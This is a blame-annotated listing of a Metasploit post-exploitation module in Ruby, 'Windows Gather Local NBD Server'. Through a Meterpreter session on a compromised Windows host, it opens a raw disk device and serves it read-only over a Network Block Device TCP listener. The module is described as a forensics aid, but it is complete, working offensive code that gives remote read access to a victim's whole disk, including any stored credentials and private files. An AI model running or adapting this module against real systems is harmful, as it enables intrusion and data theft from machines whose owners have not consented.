2011-08-28 22:38:59 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
# nbd_server.rb
|
|
|
|
#
|
|
|
|
# Maps remote disks and logical volumes to a local Network Block Device
|
|
|
|
# server. Allows for forensic tools to be executed on the remote disk
|
|
|
|
# directly.
|
|
|
|
#
|
|
|
|
# R. Wesley McGrew wesley@mcgrewsecurity.com
|
|
|
|
# http://mcgrewsecurity.com
|
|
|
|
# Mississippi State University National Forensics Training Center
|
|
|
|
# http://msu-nftc.org
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-10-15 19:41:40 +00:00
|
|
|
'Name' => 'Windows Gather Local NBD Server',
|
2011-08-28 22:38:59 +00:00
|
|
|
'Description' => %q{
|
|
|
|
Maps remote disks and logical volumes to a local Network Block Device server.
|
|
|
|
Allows for forensic tools to be executed on the remote disk directly.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => ['windows'],
|
|
|
|
'SessionTypes' => ['meterpreter'],
|
2011-11-06 22:02:26 +00:00
|
|
|
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>']
|
2011-08-28 22:38:59 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('DEVICE',[true,'Device to map (use enum_drives for possible names)',nil]),
|
|
|
|
OptString.new('NBDIP',[false,'IP address for NBD server','0.0.0.0']),
|
|
|
|
OptInt.new('NBDPORT',[false,'TCP port for NBD server',10005]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
ip_addr = datastore['NBDIP']
|
|
|
|
port = datastore['NBDPORT']
|
|
|
|
devname = datastore['DEVICE']
|
|
|
|
|
|
|
|
invalid_handle_value = 0xFFFFFFFF
|
|
|
|
invalid_set_file_pointer = 0xFFFFFFFF
|
|
|
|
fsctl_allow_extended_dasd_io = 0x00090083
|
|
|
|
ioctl_disk_get_drive_geometry_ex = 0x000700A0
|
|
|
|
|
2011-08-29 00:59:21 +00:00
|
|
|
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
2011-08-28 22:38:59 +00:00
|
|
|
handle = r['return']
|
2011-08-29 00:59:21 +00:00
|
|
|
|
2011-08-28 22:38:59 +00:00
|
|
|
r = client.railgun.kernel32.DeviceIoControl(handle,fsctl_allow_extended_dasd_io,nil,0,0,0,4,nil)
|
2011-08-29 00:59:21 +00:00
|
|
|
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, "",0,200,200,4,"")
|
2011-08-28 22:38:59 +00:00
|
|
|
|
2011-08-29 00:26:42 +00:00
|
|
|
if ioctl['GetLastError'] == 6
|
|
|
|
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, "",0,200,200,4,"")
|
2011-08-28 22:38:59 +00:00
|
|
|
end
|
2011-08-29 00:59:21 +00:00
|
|
|
|
2011-08-28 22:38:59 +00:00
|
|
|
geometry = ioctl['lpOutBuffer']
|
|
|
|
disk_size = geometry[24,31].unpack('Q')[0]
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2011-08-28 22:38:59 +00:00
|
|
|
socket = Rex::Socket::TcpServer.create({'LocalHost'=>ip_addr,'LocalPort'=>port})
|
|
|
|
print_line("Listening on #{ip_addr}:#{port}")
|
|
|
|
print_line("Serving #{devname} (#{disk_size} bytes)")
|
|
|
|
rsock = socket.accept()
|
|
|
|
print_line("Accepted a connection")
|
|
|
|
|
|
|
|
# Negotiation
|
|
|
|
rsock.put('NBDMAGIC')
|
|
|
|
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
|
2011-08-28 22:40:32 +00:00
|
|
|
|
2011-08-28 22:38:59 +00:00
|
|
|
rsock.put([disk_size].pack("Q").reverse)
|
|
|
|
rsock.put("\x00\x00\x00\x03") # Read-only
|
|
|
|
rsock.put("\x00"*124)
|
|
|
|
print_line("Sent negotiation")
|
|
|
|
|
|
|
|
while true
|
|
|
|
request = rsock.read(28)
|
|
|
|
magic, request, nbd_handle, offset_n, length = request.unpack("NNa8a8N")
|
2011-08-28 22:40:32 +00:00
|
|
|
|
2011-08-28 22:38:59 +00:00
|
|
|
if magic != 0x25609513
|
|
|
|
print_line("Wrong magic number")
|
|
|
|
break
|
|
|
|
end
|
2011-08-29 00:59:21 +00:00
|
|
|
|
|
|
|
case request
|
|
|
|
when 2
|
|
|
|
break
|
|
|
|
when 1
|
|
|
|
print_line("Attempted write on a read-only nbd")
|
|
|
|
break
|
|
|
|
when 0
|
|
|
|
client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0], offset_n[0,4].unpack('N')[0],0)
|
|
|
|
rsock.put("gDf\x98\x00\x00\x00\x00")
|
|
|
|
rsock.put(nbd_handle)
|
|
|
|
data = client.railgun.kernel32.ReadFile(handle,length,length,4,nil)['lpBuffer']
|
|
|
|
rsock.put(data)
|
2011-08-28 22:38:59 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
print_line("Closing")
|
|
|
|
rsock.close()
|
|
|
|
socket.close()
|
|
|
|
|
|
|
|
client.railgun.kernel32.CloseHandle(handle)
|
|
|
|
end
|
2011-10-11 20:03:40 +00:00
|
|
|
end
|